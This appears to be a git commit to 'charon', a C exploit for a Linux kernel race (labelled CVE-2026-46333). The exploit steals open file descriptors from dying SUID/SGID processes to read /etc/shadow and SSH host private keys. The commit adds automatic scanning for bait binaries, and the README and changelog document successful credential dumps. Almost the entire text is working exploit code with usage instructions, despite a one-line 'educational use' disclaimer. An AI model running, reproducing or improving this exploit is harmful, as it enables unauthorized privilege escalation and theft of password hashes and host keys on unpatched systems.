v1.1.0 — auto-discovery + --list-baits + ANSI Shadow banner
* New --auto flag: walk /usr/bin, /usr/sbin, /usr/local/{bin,sbin},
/usr/lib/openssh, /usr/libexec, /bin, /sbin; try every SUID/SGID
regular file as a bait against the requested target. Skips
known-interactive baits (su, sudo, newgrp, pkexec, mount, …).
Per-bait budget capped (5 rounds × 2000 inner) + 60s wall clock,
so a full scan finishes in ~10s even on systems where no bait
opens the requested file.
* New --list-baits flag: enumerate built-in + discoverable bait
candidates without firing the exploit. Useful for distro surveys.
* SIGKILL daemonic baits (ssh-agent etc.) instead of waiting
forever in waitpid().
* Accept SGID-shadow baits, not just SUID-root — chage on
Debian/Ubuntu is mode 2755 not 4755 and we kept skipping it.
* Banner upgraded to ANSI Shadow block letters with a Styx wave
motif beneath the version line.
* Cleaner diagnostics: distinguish "primitive fires but no bait
opens this file" from "kernel patched (no pidfd_getfd success)".
Tested on Debian 13 / kernel 6.12.88-kctf-poc:
- default run hits /etc/shadow in 1 fork (~160 tries, <1s)
- --auto on /etc/sudoers correctly times out in 11s with diagnostic
- --quiet pipes 35 lines of pure shadow to stdout
- --verbose shows per-hit + final stats
- --list-baits enumerates 26 candidates incl. /usr/bin/chage
This commit is contained in:
@@ -101,10 +101,25 @@ Output: a single ELF `./charon`.
|
||||
./charon -q # no banner / progress, just shadow on stdout
|
||||
./charon -v # show per-hit + final stats
|
||||
./charon -r 5000 # more patience for slow systems
|
||||
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
|
||||
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait)
|
||||
./charon -a # auto-discover SUID/SGID baits if built-ins miss
|
||||
./charon -L # list candidate baits without trying any
|
||||
./charon --help
|
||||
```
|
||||
|
||||
### Auto-discovery
|
||||
|
||||
`--auto` walks `/usr/bin`, `/usr/sbin`, `/usr/local/{bin,sbin}`,
|
||||
`/usr/lib/openssh`, `/usr/libexec`, `/bin`, `/sbin`, finds every
|
||||
SUID/SGID regular file (excluding interactive baits like `su`,
|
||||
`sudo`, `newgrp`, `pkexec`), and tries each as a bait against the
|
||||
requested target. Per-bait budget is tight (5 rounds × 2000 inner)
|
||||
so a full scan finishes in ~10 seconds even when nothing matches.
|
||||
|
||||
`--list-baits` is the read-only version — it enumerates the same
|
||||
candidates without firing the exploit. Useful for surveying which
|
||||
distros ship which baits.
|
||||
|
||||
### Exit codes
|
||||
|
||||
| Code | Meaning |
|
||||
|
||||
Binary file not shown.
@@ -1,17 +1,17 @@
|
||||
/*
|
||||
* ____ _ _ _ ____ ___ _ _
|
||||
* / ___|| | | | / \ | _ \ / _ \| \ | |
|
||||
* | | | |_| | / _ \ | |_) | | | | \| |
|
||||
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||
*
|
||||
* ferries file descriptors across the exit-mm() Styx
|
||||
* CVE-2026-46333 / Linux <= 6.12.89
|
||||
* ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
|
||||
* ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║
|
||||
* ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║
|
||||
* ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║
|
||||
* ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║
|
||||
* ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
|
||||
* ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~
|
||||
* CVE-2026-46333 / Linux <= 6.12.89
|
||||
*
|
||||
* "It is a fearful thing to fall into the hands of the living God."
|
||||
* — Hebrews 10:31
|
||||
* — Hebrews 10:31
|
||||
*
|
||||
* Charon races pidfd_getfd(2) against a dying SUID-root process to
|
||||
* Charon races pidfd_getfd(2) against a dying SUID/SGID process to
|
||||
* lift its open /etc/shadow file descriptor through the transient
|
||||
* mm-NULL window in do_exit():
|
||||
*
|
||||
@@ -21,16 +21,17 @@
|
||||
* └── exit_files() ← fd table reaped
|
||||
*
|
||||
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
||||
* never dumpable" and short-circuits the dumpable check. The dying
|
||||
* userspace SUID process is briefly indistinguishable from a kernel
|
||||
* thread in that test, so pidfd_getfd(2) succeeds against it and
|
||||
* returns whatever fds it still has open before exit_files() runs.
|
||||
* never dumpable" and short-circuits the dumpable check. A dying
|
||||
* userspace SUID/SGID process is briefly indistinguishable from a
|
||||
* kernel thread in that test, so pidfd_getfd(2) succeeds against it
|
||||
* and returns whatever fds it still has open before exit_files() runs.
|
||||
*
|
||||
* If the SUID binary opened /etc/shadow and then setreuid'd to the
|
||||
* If the bait binary opened /etc/shadow and then setreuid'd to the
|
||||
* attacker uid before exiting, Charon walks home with the fd.
|
||||
*
|
||||
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
||||
* Disclosure: Qualys → oss-security 2026-05-15
|
||||
*
|
||||
* Educational and authorized-defensive use only.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
@@ -41,10 +42,12 @@
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <dirent.h>
|
||||
#include <signal.h>
|
||||
#include <time.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <getopt.h>
|
||||
|
||||
#ifndef __NR_pidfd_open
|
||||
@@ -54,55 +57,114 @@
|
||||
#define __NR_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
#define CHARON_VERSION "1.0.0"
|
||||
#define CHARON_VERSION "1.1.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ____ _ _ _ ____ ___ _ _\n"
|
||||
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
|
||||
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
|
||||
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
|
||||
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
|
||||
"\n"
|
||||
" ferries fds across the exit-mm() Styx\n"
|
||||
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
||||
" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
||||
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
||||
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
|
||||
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
||||
" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
|
||||
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
|
||||
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
|
||||
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d "
|
||||
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d "
|
||||
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n"
|
||||
" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n"
|
||||
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
||||
"\n";
|
||||
|
||||
/* A lure is a SUID-root binary that opens FILE before dropping uid
|
||||
* and exiting. invoking ARGV makes it open FILE deterministically. */
|
||||
struct lure {
|
||||
/* A bait is a SUID/SGID binary that opens FILE before dropping creds
|
||||
* and exiting. ARGV makes it open FILE deterministically. */
|
||||
struct bait {
|
||||
const char *path;
|
||||
const char *file;
|
||||
const char *const argv[5];
|
||||
const char *args[6]; /* argv terminated by NULL */
|
||||
};
|
||||
|
||||
static const struct lure lures[] = {
|
||||
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
|
||||
* via SUID-root on RHEL family. Either way we ride the elevation. */
|
||||
static const struct bait builtin_baits[] = {
|
||||
/* chage -l <user> opens /etc/shadow on Debian/Ubuntu (SGID-shadow)
|
||||
* and on RHEL family (SUID-root). Either way the dumpable=0 flag
|
||||
* is set on the dying process — the bug bypasses the check. */
|
||||
{ "/usr/bin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
{ "/usr/sbin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
|
||||
* is enabled; newer builds bail early but still open the file first. */
|
||||
|
||||
/* ssh-keysign opens the host private keys when invoked even with
|
||||
* no args (it bails after the open if HostbasedAuthentication is
|
||||
* off, but we only need it to OPEN the file). */
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
|
||||
{ NULL, NULL, { NULL } }
|
||||
};
|
||||
|
||||
/* Auto-discovery search roots and the SUID/SGID names we refuse to
|
||||
* invoke (would prompt for input, hang waiting, or mutate state). */
|
||||
static const char *const auto_search_roots[] = {
|
||||
"/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
|
||||
"/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh",
|
||||
"/bin", "/sbin", NULL
|
||||
};
|
||||
static const char *const auto_skip_names[] = {
|
||||
"su", "sudo", "doas", "pkexec", "newgrp",
|
||||
"mount", "umount", "fusermount", "fusermount3",
|
||||
"ping", "ping6", "traceroute", "traceroute6",
|
||||
NULL
|
||||
};
|
||||
/* Argv patterns we try against each auto-discovered binary. */
|
||||
static const char *const auto_arg_patterns[][4] = {
|
||||
{ "-l", "root", NULL }, /* chage / passwd -l root */
|
||||
{ "-S", "root", NULL }, /* passwd -S root */
|
||||
{ "--version", NULL }, /* most tools, fast + safe */
|
||||
{ NULL }, /* no args (some tools open files on startup) */
|
||||
};
|
||||
|
||||
/* CLI state */
|
||||
static const char *opt_target = NULL;
|
||||
static int opt_quiet = 0;
|
||||
static int opt_verbose = 0;
|
||||
static int opt_rounds = 500;
|
||||
static int opt_inner = 30000;
|
||||
static int opt_auto = 0;
|
||||
static int opt_list = 0;
|
||||
|
||||
/* Stats spanning all hunt() invocations. */
|
||||
static unsigned long stat_forks = 0;
|
||||
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
||||
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
|
||||
static unsigned long stat_target_hits = 0; /* matched want_file */
|
||||
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
||||
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */
|
||||
static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */
|
||||
|
||||
static void
|
||||
msg(const char *prefix, const char *fmt, ...)
|
||||
@@ -123,37 +185,32 @@ dump_fd(int fd)
|
||||
char buf[8192];
|
||||
ssize_t n;
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
while ((n = read(fd, buf, sizeof(buf))) > 0) {
|
||||
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
|
||||
return -1;
|
||||
}
|
||||
while ((n = read(fd, buf, sizeof(buf))) > 0)
|
||||
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1;
|
||||
fflush(stdout);
|
||||
return n < 0 ? -1 : 0;
|
||||
}
|
||||
|
||||
static int
|
||||
lure_present(const struct lure *l)
|
||||
bait_present(const char *path)
|
||||
{
|
||||
struct stat st;
|
||||
if (stat(l->path, &st) != 0) return 0;
|
||||
/* Accept SUID-anything OR SGID-anything — both trigger the
|
||||
* dumpable flag in execve which is exactly the protection that
|
||||
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
|
||||
* shadow (not SUID root); on RHEL family chage is SUID root. */
|
||||
if (stat(path, &st) != 0) return 0;
|
||||
if (!S_ISREG(st.st_mode)) return 0;
|
||||
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Returns 0 on success (file contents on stdout). Negative codes:
|
||||
* -ENOENT lure binary missing / no setuid|setgid
|
||||
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
|
||||
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
|
||||
/* Returns:
|
||||
* 0 success — file contents on stdout
|
||||
* -ENOENT bait not present / lacks setuid|setgid
|
||||
* -ETIME primitive fired but target file wasn't in the fd table
|
||||
* -EPERM pidfd_getfd never succeeded — kernel likely patched
|
||||
*/
|
||||
static int
|
||||
hunt(const struct lure *l, const char *want_file)
|
||||
hunt(const char *path, const char *want_file, const char *const argv[])
|
||||
{
|
||||
if (!lure_present(l)) return -ENOENT;
|
||||
|
||||
msg("[*]", "lure %s target %s", l->path, want_file);
|
||||
if (!bait_present(path)) return -ENOENT;
|
||||
|
||||
unsigned long getfd_ok_before = stat_getfd_ok;
|
||||
|
||||
@@ -164,7 +221,7 @@ hunt(const struct lure *l, const char *want_file)
|
||||
if (c == 0) {
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
||||
execv(l->path, (char *const *)l->argv);
|
||||
execv(path, (char *const *)argv);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
@@ -174,23 +231,20 @@ hunt(const struct lure *l, const char *want_file)
|
||||
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||
|
||||
int got = -1;
|
||||
|
||||
for (int a = 0; a < opt_inner && got < 0; a++) {
|
||||
for (int i = 3; i < 32; i++) {
|
||||
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||
stat_getfds++;
|
||||
if (s < 0) continue;
|
||||
|
||||
stat_getfd_ok++; /* the bug worked at least at the syscall level */
|
||||
|
||||
stat_getfd_ok++;
|
||||
char p[512] = {0}, lk[64];
|
||||
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||
if (n > 0) p[n] = 0;
|
||||
|
||||
if (strstr(p, want_file)) {
|
||||
if (opt_verbose)
|
||||
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
|
||||
msg("[+]", "hit fd %d -> %s round=%d try=%d",
|
||||
i, p, round, a);
|
||||
got = s;
|
||||
break;
|
||||
}
|
||||
@@ -203,21 +257,131 @@ hunt(const struct lure *l, const char *want_file)
|
||||
int rc = dump_fd(got);
|
||||
close(got);
|
||||
close(pfd);
|
||||
kill(c, SIGKILL);
|
||||
waitpid(c, NULL, 0);
|
||||
if (opt_verbose)
|
||||
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
|
||||
msg("[#]",
|
||||
"stats: %lu forks, %lu getfds (%lu ok), %lu target hits",
|
||||
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
||||
return rc;
|
||||
}
|
||||
|
||||
close(pfd);
|
||||
/* Some baits (ssh-agent, daemons) won't exit on their own —
|
||||
* force them so waitpid doesn't block this whole hunt. */
|
||||
kill(c, SIGKILL);
|
||||
waitpid(c, NULL, 0);
|
||||
}
|
||||
|
||||
/* If pidfd_getfd never succeeded against this lure, the primitive
|
||||
* is closed for this binary — likely a patched kernel. */
|
||||
if (stat_getfd_ok == getfd_ok_before)
|
||||
return -EPERM;
|
||||
if (stat_getfd_ok == getfd_ok_before) return -EPERM;
|
||||
return -ETIME;
|
||||
}
|
||||
|
||||
/* Walk standard SUID/SGID roots and try each binary as a bait.
|
||||
* Uses an aggressive per-bait round budget (auto_rounds) so a full
|
||||
* sweep finishes in seconds even when nothing matches. */
|
||||
static int
|
||||
auto_discover(const char *want_file, int just_list)
|
||||
{
|
||||
int discovered = 0, attempted = 0, primitive_worked = 0;
|
||||
/* Save user-set values; restore on exit. */
|
||||
int saved_rounds = opt_rounds;
|
||||
int saved_inner = opt_inner;
|
||||
if (!just_list) {
|
||||
/* Per-bait budget for auto mode: keep tight so the sweep is fast.
|
||||
* Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */
|
||||
if (opt_rounds > 5) opt_rounds = 5;
|
||||
if (opt_inner > 2000) opt_inner = 2000;
|
||||
}
|
||||
time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */
|
||||
|
||||
for (const char *const *root = auto_search_roots; *root; root++) {
|
||||
DIR *d = opendir(*root);
|
||||
if (!d) continue;
|
||||
struct dirent *e;
|
||||
while ((e = readdir(d)) != NULL) {
|
||||
if (e->d_name[0] == '.') continue;
|
||||
|
||||
char path[512];
|
||||
int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name);
|
||||
if (n < 0 || n >= (int)sizeof(path)) continue;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(path, &st) != 0) continue;
|
||||
if (!S_ISREG(st.st_mode)) continue;
|
||||
if (!(st.st_mode & (S_ISUID | S_ISGID))) continue;
|
||||
|
||||
int skip = 0;
|
||||
for (const char *const *s = auto_skip_names; *s; s++)
|
||||
if (!strcmp(e->d_name, *s)) { skip = 1; break; }
|
||||
if (skip) continue;
|
||||
|
||||
discovered++;
|
||||
|
||||
if (just_list) {
|
||||
printf(" %s (mode %04o, %s)\n",
|
||||
path, st.st_mode & 07777,
|
||||
(st.st_mode & S_ISUID) ? "SUID" : "SGID");
|
||||
continue;
|
||||
}
|
||||
|
||||
for (size_t ai = 0;
|
||||
ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0];
|
||||
ai++) {
|
||||
const char *argv[6] = { e->d_name };
|
||||
int k = 1;
|
||||
for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++)
|
||||
argv[k++] = auto_arg_patterns[ai][x];
|
||||
argv[k] = NULL;
|
||||
|
||||
if (opt_verbose) {
|
||||
char arghint[64] = "";
|
||||
for (int x = 1; argv[x] && x < 5; x++) {
|
||||
strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1);
|
||||
strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1);
|
||||
}
|
||||
msg("[auto]", "trying %s%s", path, arghint);
|
||||
}
|
||||
|
||||
attempted++;
|
||||
int rc = hunt(path, want_file, argv);
|
||||
if (rc == 0) {
|
||||
msg("[+]", "auto-discovered working bait: %s", path);
|
||||
closedir(d);
|
||||
opt_rounds = saved_rounds;
|
||||
opt_inner = saved_inner;
|
||||
return 0;
|
||||
}
|
||||
if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1;
|
||||
|
||||
if (time(NULL) > auto_deadline) {
|
||||
msg("[!]", "60s auto-scan budget exhausted (%d baits tried)",
|
||||
attempted);
|
||||
closedir(d);
|
||||
goto auto_done;
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
}
|
||||
auto_done:;
|
||||
|
||||
/* Restore user budgets. */
|
||||
opt_rounds = saved_rounds;
|
||||
opt_inner = saved_inner;
|
||||
|
||||
if (just_list) {
|
||||
fprintf(stderr,
|
||||
"\n discovered %d SUID/SGID binaries in standard roots\n"
|
||||
" (use --auto to try each as a bait for %s)\n",
|
||||
discovered, want_file ? want_file : "/etc/shadow");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (opt_verbose)
|
||||
msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits",
|
||||
attempted, stat_getfd_ok, stat_target_hits);
|
||||
if (!primitive_worked && stat_getfd_ok == 0) return -EPERM;
|
||||
return -ETIME;
|
||||
}
|
||||
|
||||
@@ -229,9 +393,11 @@ usage(const char *prog)
|
||||
"\n"
|
||||
"Usage: %s [options]\n"
|
||||
"\n"
|
||||
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
||||
" -r, --rounds N max rounds per lure (default: 500)\n"
|
||||
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
|
||||
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
||||
" -r, --rounds N max rounds per bait (default: 500)\n"
|
||||
" -i, --inner N inner getfd attempts (default: 30000)\n"
|
||||
" -a, --auto if built-in baits fail, scan SUID/SGID dirs\n"
|
||||
" -L, --list-baits enumerate candidate baits and exit\n"
|
||||
" -q, --quiet no banner, no progress\n"
|
||||
" -v, --verbose per-hit + final stats\n"
|
||||
" --version print version and exit\n"
|
||||
@@ -239,7 +405,7 @@ usage(const char *prog)
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 success — file contents on stdout\n"
|
||||
" 1 no built-in lure on this system opens the requested file\n"
|
||||
" 1 no bait on this system opens the requested file\n"
|
||||
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
||||
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
||||
" 4 CLI / IO error\n"
|
||||
@@ -252,24 +418,28 @@ int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
static const struct option opts[] = {
|
||||
{"target", required_argument, 0, 't'},
|
||||
{"rounds", required_argument, 0, 'r'},
|
||||
{"inner", required_argument, 0, 'i'},
|
||||
{"quiet", no_argument, 0, 'q'},
|
||||
{"verbose", no_argument, 0, 'v'},
|
||||
{"version", no_argument, 0, 1 },
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{"target", required_argument, 0, 't'},
|
||||
{"rounds", required_argument, 0, 'r'},
|
||||
{"inner", required_argument, 0, 'i'},
|
||||
{"auto", no_argument, 0, 'a'},
|
||||
{"list-baits", no_argument, 0, 'L'},
|
||||
{"quiet", no_argument, 0, 'q'},
|
||||
{"verbose", no_argument, 0, 'v'},
|
||||
{"version", no_argument, 0, 1 },
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0,0,0,0}
|
||||
};
|
||||
|
||||
int o;
|
||||
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
|
||||
while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) {
|
||||
switch (o) {
|
||||
case 't': opt_target = optarg; break;
|
||||
case 't': opt_target = optarg; break;
|
||||
case 'r': opt_rounds = atoi(optarg); break;
|
||||
case 'i': opt_inner = atoi(optarg); break;
|
||||
case 'q': opt_quiet = 1; break;
|
||||
case 'v': opt_verbose = 1; break;
|
||||
case 'a': opt_auto = 1; break;
|
||||
case 'L': opt_list = 1; break;
|
||||
case 'q': opt_quiet = 1; break;
|
||||
case 'v': opt_verbose = 1; break;
|
||||
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
||||
case 'h': usage(argv[0]); return 0;
|
||||
default : usage(argv[0]); return 4;
|
||||
@@ -278,34 +448,57 @@ main(int argc, char **argv)
|
||||
if (!opt_target) opt_target = "/etc/shadow";
|
||||
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
||||
|
||||
if (!opt_quiet) fputs(BANNER, stderr);
|
||||
if (!opt_quiet && !opt_list) fputs(BANNER, stderr);
|
||||
|
||||
/* Iterate lures whose `file` matches what the user asked for. */
|
||||
int any_present = 0, all_appear_patched = 1;
|
||||
for (const struct lure *l = lures; l->path; l++) {
|
||||
if (strcmp(l->file, opt_target) != 0) continue;
|
||||
if (!lure_present(l)) continue;
|
||||
any_present = 1;
|
||||
|
||||
int rc = hunt(l, opt_target);
|
||||
if (rc == 0) return 0;
|
||||
if (rc != -EPERM) all_appear_patched = 0;
|
||||
if (opt_list) {
|
||||
fprintf(stderr, " built-in baits for %s:\n", opt_target);
|
||||
int builtin_count = 0;
|
||||
for (const struct bait *b = builtin_baits; b->path; b++) {
|
||||
if (strcmp(b->file, opt_target) != 0) continue;
|
||||
const char *status = bait_present(b->path) ? "OK" : "MISSING";
|
||||
fprintf(stderr, " [%s] %s\n", status, b->path);
|
||||
builtin_count++;
|
||||
}
|
||||
if (!builtin_count) fprintf(stderr, " (none — try --auto)\n");
|
||||
fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n");
|
||||
return auto_discover(opt_target, /*just_list=*/1);
|
||||
}
|
||||
|
||||
if (!any_present) {
|
||||
msg("[!]", "no built-in lure on this system opens %s", opt_target);
|
||||
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
|
||||
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
|
||||
/* Phase 1: try built-in baits whose file matches the request. */
|
||||
